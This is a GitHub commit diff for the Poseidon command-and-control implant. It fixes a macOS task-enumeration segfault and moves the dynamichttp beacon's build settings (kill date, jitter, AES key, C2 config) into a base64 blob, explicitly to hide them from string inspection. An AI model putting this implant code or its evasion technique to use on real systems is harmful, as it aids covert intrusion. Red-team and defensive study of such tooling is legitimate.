Skip to content

Commit cb577e9

Browse files
committed
fixed listtasks bug and updated build process
updated build process to help hide build parameters from strings
1 parent 13776c5 commit cb577e9

16 files changed

+470
-451
lines changed

Payload_Type/poseidon/poseidon/agent_code/CHANGELOG.MD

+7
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,13 @@ All notable changes to this project will be documented in this file.
44
The format is based on [Keep a Changelog](http://keepachangelog.com/en/1.0.0/)
55
and this project adheres to [Semantic Versioning](http://semver.org/spec/v2.0.0.html).
66

7+
## 2.0.28 - 2024-03-13
8+
9+
### Changed
10+
11+
- Fixed an issue with `listtasks` causes a segfault when not root
12+
- Updated the build process to take in base64 encoded values to help reduce easily visible data from build
13+
714
## 2.0.27 - 2024-03-08
815

916
### Changed

Payload_Type/poseidon/poseidon/agent_code/Makefile

+18-117
Large diffs are not rendered by default.

Payload_Type/poseidon/poseidon/agent_code/dynamichttp_test_agent_config.json

-134
This file was deleted.

Payload_Type/poseidon/poseidon/agent_code/listtasks/listtasks_darwin.go

+1
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,4 @@
1+
//go:build darwin
12
// +build darwin
23

34
package listtasks

Payload_Type/poseidon/poseidon/agent_code/listtasks/listtasks_darwin.m

+10-1
Original file line numberDiff line numberDiff line change
@@ -15,17 +15,26 @@
1515
kern_return_t kr;
1616
host_get_host_priv_port(mach_host_self(), &host_priv);
1717
kr = processor_set_default(host_priv, &psDefault);
18+
if (kr != KERN_SUCCESS) {
19+
return [[NSString stringWithFormat:@"{\"error\": \"%x\"}", kr] UTF8String];
20+
}
1821
processor_set_name_array_t *psets = malloc(1024);
1922
mach_msg_type_number_t psetCount;
2023
kr = host_processor_sets(host_priv, psets, &psetCount);
24+
if (kr != KERN_SUCCESS) {
25+
return [[NSString stringWithFormat:@"{\"error\": \"%x\"}", kr] UTF8String];
26+
}
2127
kr = host_processor_set_priv(host_priv, psDefault, &psDefault_control);
2228

2329
if (kr != KERN_SUCCESS) {
24-
return [NSString stringWithFormat:@"%x", kr];
30+
return [[NSString stringWithFormat:@"{\"error\": \"%x\"}", kr] UTF8String];
2531
}
2632

2733
numTasks=1000;
2834
kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
35+
if (kr != KERN_SUCCESS) {
36+
return [[NSString stringWithFormat:@"{\"error\": \"%x\"}", kr] UTF8String];
37+
}
2938
NSMutableDictionary *taskList = [@{} mutableCopy];
3039

3140
for (i = 0; i < numTasks; i++) {

Payload_Type/poseidon/poseidon/agent_code/pkg/profiles/dynamichttp.go

+31-27
Original file line numberDiff line numberDiff line change
@@ -26,14 +26,17 @@ import (
2626
"github.com/MythicAgents/poseidon/Payload_Type/poseidon/agent_code/pkg/utils/structs"
2727
)
2828

29-
// All variables must be a string so they can be set with ldflags
30-
var dynamichttp_callback_jitter string
31-
var dynamichttp_callback_interval string
32-
var dynamichttp_killdate string
33-
var dynamichttp_encrypted_exchange_check string
34-
var dynamichttp_raw_c2_config string
35-
var dynamichttp_AESPSK string
29+
// base64 encoded version of the JSON initial configuration of dynamichttp
30+
var dynamichttp_initial_config string
3631

32+
type DynamicHTTPInitialConfig struct {
33+
Killdate string `json:"killdate"`
34+
Interval uint `json:"callback_interval"`
35+
Jitter uint `json:"callback_jitter"`
36+
EncryptedExchangeCheck bool `json:"encrypted_exchange_check"`
37+
AESPSK string `json:"AESPSK"`
38+
RawC2Config C2DynamicHTTPC2Config `json:"raw_c2_config"`
39+
}
3740
type C2DynamicHTTPFunction struct {
3841
Function string `json:"function"`
3942
Parameters []string `json:"parameters"`
@@ -78,44 +81,45 @@ type C2DynamicHTTP struct {
7881

7982
// New creates a new DynamicHTTP C2 profile from the package's global variables and returns it
8083
func init() {
81-
killDateString := fmt.Sprintf("%sT00:00:00.000Z", dynamichttp_killdate)
84+
initialConfigBytes, err := base64.StdEncoding.DecodeString(dynamichttp_initial_config)
85+
if err != nil {
86+
utils.PrintDebug(fmt.Sprintf("error trying to decode initial dynamichttp config, exiting: %v\n", err))
87+
os.Exit(1)
88+
}
89+
initialConfig := DynamicHTTPInitialConfig{}
90+
err = json.Unmarshal(initialConfigBytes, &initialConfig)
91+
if err != nil {
92+
utils.PrintDebug(fmt.Sprintf("error trying to unmarshal initial dynamichttp config, exiting: %v\n", err))
93+
os.Exit(1)
94+
}
95+
killDateString := fmt.Sprintf("%sT00:00:00.000Z", initialConfig.Killdate)
8296
killDateTime, err := time.Parse("2006-01-02T15:04:05.000Z", killDateString)
8397
if err != nil {
8498
utils.PrintDebug("Kill date failed to parse. Exiting.")
8599
os.Exit(1)
86100
}
87101
profile := C2DynamicHTTP{
88-
Key: dynamichttp_AESPSK,
102+
Key: initialConfig.AESPSK,
89103
Killdate: killDateTime,
90104
ShouldStop: true,
91105
stoppedChannel: make(chan bool, 1),
92106
}
93107

94108
// Convert sleep from string to integer
95-
i, err := strconv.Atoi(dynamichttp_callback_interval)
96-
if err == nil {
97-
profile.Interval = i
98-
} else {
99-
profile.Interval = 10
109+
profile.Interval = int(initialConfig.Interval)
110+
if profile.Interval < 0 {
111+
profile.Interval = 0
100112
}
101113

102114
// Convert jitter from string to integer
103-
j, err := strconv.Atoi(dynamichttp_callback_jitter)
104-
if err == nil {
105-
profile.Jitter = j
106-
} else {
107-
profile.Jitter = 23
115+
profile.Jitter = int(initialConfig.Jitter)
116+
if profile.Jitter < 0 {
117+
profile.Jitter = 0
108118
}
109119

110120
// Add Agent Configuration
111-
//json.Unmarshal([]byte("[{\"name\": \"User-Agent\",\"key\": \"User-Agent\",\"value\": \"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko\"}]"), &profile.HeaderList)
112-
if err := json.Unmarshal([]byte(dynamichttp_raw_c2_config), &profile.Config); err != nil {
113-
utils.PrintDebug(fmt.Sprintf("error trying to unmarshal agent configuration: %v\n", err))
114-
os.Exit(1)
115-
}
116-
if dynamichttp_encrypted_exchange_check == "true" {
117-
profile.ExchangingKeys = true
118-
}
121+
profile.Config = initialConfig.RawC2Config
122+
profile.ExchangingKeys = initialConfig.EncryptedExchangeCheck
119123
RegisterAvailableC2Profile(&profile)
120124
}
121125

0 commit comments

Comments
 (0)